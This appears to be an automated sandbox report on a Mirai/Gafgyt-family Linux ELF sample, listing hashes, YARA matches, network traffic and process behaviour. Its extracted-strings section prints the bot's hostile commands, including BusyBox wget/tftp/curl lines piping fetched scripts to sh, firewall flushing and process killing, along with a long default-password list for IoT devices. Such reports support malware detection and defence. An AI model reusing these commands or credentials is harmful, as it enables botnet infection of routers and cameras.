Edit tour

Linux Analysis Report
i686.elf

Overview

General Information

Sample name:	i686.elf
Analysis ID:	1584595
MD5:	8f0239e6b5b39a97e8e64ff9217b00a0
SHA1:	21fc853d5b63878943c811c295ebc8b06ff6932b
SHA256:	ddbe5a641b1f5132023c52c0fcff8f8d22f8bae192c6a219d9131a241eb1d65e
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Deletes system log files

Machine Learning detection for sample

Performs DNS TXT record lookups

Sample tries to access files in /etc/config/ (typical for OpenWRT routers)

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584595
Start date and time:	2025-01-06 00:52:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	i686.elf
Detection:	MAL
Classification:	mal80.troj.evad.linELF@0/1@1/0

Runtime Messages

Command:	/tmp/i686.elf
PID:	6209
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	thIs wEek on xLaB aNd fOxNoIntel lEarNs sHiT
Standard Error:

Process Tree

system is lnxubuntu20

i686.elf (PID: 6209, Parent: 6129, MD5: 8f0239e6b5b39a97e8e64ff9217b00a0) Arguments: /tmp/i686.elf

i686.elf New Fork (PID: 6210, Parent: 6209)

i686.elf New Fork (PID: 6211, Parent: 6209)

i686.elf New Fork (PID: 6229, Parent: 6209)

i686.elf New Fork (PID: 6247, Parent: 6209)

i686.elf New Fork (PID: 6271, Parent: 6209)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
i686.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
i686.elf	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xe0f8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
i686.elf	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xe8e7:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
i686.elf	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xa5fa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xa75c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
i686.elf	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x1131a:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
i686.elf	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xe4a7:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
i686.elf	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xe772:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
i686.elf	Linux_Trojan_Mirai_1cb033f3	unknown	unknown	0x4c91:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6209.1.0000000000400000.0000000000416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6247.1.0000000000400000.0000000000416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6247.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xe0f8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6247.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xe8e7:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6247.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xa5fa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xa75c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6247.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x1131a:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
6247.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xe4a7:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6247.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xe772:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6247.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Mirai_1cb033f3	unknown	unknown	0x4c91:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF
6209.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_9e9530a7	unknown	unknown	0xe0f8:$a: F6 48 63 FF B8 36 00 00 00 0F 05 48 3D 00 F0 FF FF 48 89 C3
6209.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_807911a2	unknown	unknown	0xe8e7:$a: FE 48 39 F3 0F 94 C2 48 83 F9 FF 0F 94 C0 84 D0 74 16 4B 8D
6209.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_d4227dbf	unknown	unknown	0xa5fa:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 0xa75c:$a: FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00
6209.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_d996d335	unknown	unknown	0x1131a:$a: D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0
6209.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_620087b9	unknown	unknown	0xe4a7:$a: 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B
6209.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Gafgyt_33b4111a	unknown	unknown	0xe772:$a: C1 83 E1 0F 74 1A B8 10 00 00 00 48 29 C8 48 8D 0C 02 48 89 DA 48
6209.1.0000000000400000.0000000000416000.r-x.sdmp	Linux_Trojan_Mirai_1cb033f3	unknown	unknown	0x4c91:$a: C3 EB 06 8A 46 FF 88 47 FF FF CA 48 FF C7 48 FF C6 83 FA FF
Click to see the 11 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: i686.elf

ReversingLabs: Detection: 34%

Machine Learning detection for sample

Source: i686.elf

Joe Sandbox ML: detected

Source: i686.elf

String: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafedbin20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 192.168.2.23:54640 -> 188.166.182.194:5837
Source: global traffic	UDP traffic: 192.168.2.23:41277 -> 74.125.250.129:19302

Source: /tmp/i686.elf (PID: 6209)

Socket: 127.0.0.1:43478

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 172.63.52.23
Source: unknown	TCP traffic detected without corresponding DNS query: 172.63.52.23
Source: unknown	TCP traffic detected without corresponding DNS query: 95.173.38.84
Source: unknown	TCP traffic detected without corresponding DNS query: 86.245.117.227
Source: unknown	TCP traffic detected without corresponding DNS query: 95.173.38.84
Source: unknown	TCP traffic detected without corresponding DNS query: 161.197.207.10
Source: unknown	TCP traffic detected without corresponding DNS query: 86.245.117.227
Source: unknown	TCP traffic detected without corresponding DNS query: 161.197.207.10
Source: unknown	TCP traffic detected without corresponding DNS query: 218.185.163.100
Source: unknown	TCP traffic detected without corresponding DNS query: 218.185.163.100
Source: unknown	TCP traffic detected without corresponding DNS query: 218.185.163.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.63.52.23
Source: unknown	TCP traffic detected without corresponding DNS query: 86.245.117.227
Source: unknown	TCP traffic detected without corresponding DNS query: 95.173.38.84
Source: unknown	TCP traffic detected without corresponding DNS query: 161.197.207.10
Source: unknown	TCP traffic detected without corresponding DNS query: 218.185.163.100
Source: unknown	TCP traffic detected without corresponding DNS query: 172.63.52.23
Source: unknown	TCP traffic detected without corresponding DNS query: 161.197.207.10
Source: unknown	TCP traffic detected without corresponding DNS query: 86.245.117.227
Source: unknown	TCP traffic detected without corresponding DNS query: 95.173.38.84
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194
Source: unknown	TCP traffic detected without corresponding DNS query: 188.166.182.194

Source: global traffic

DNS traffic detected: DNS query: www.onlydance.cam

Source: i686.elf	String found in binary or memory: http:///curl.sh
Source: i686.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_1cb033f3 Author: unknown
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1cb033f3 Author: unknown
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6209.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_1cb033f3 Author: unknown

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafedbin20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| s

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/i686.elf (PID: 6210)

SIGKILL sent: pid: 936, result: successful

Jump to behavior

Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: i686.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_1cb033f3 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 49201ab37ff0b5cdfa9b0b34b6faa170bd25f04df51c24b0b558b7534fecc358, id = 1cb033f3-68c1-4fe5-9cd1-b5d066c1d86e, last_modified = 2021-09-16
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6247.1.0000000000400000.0000000000416000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
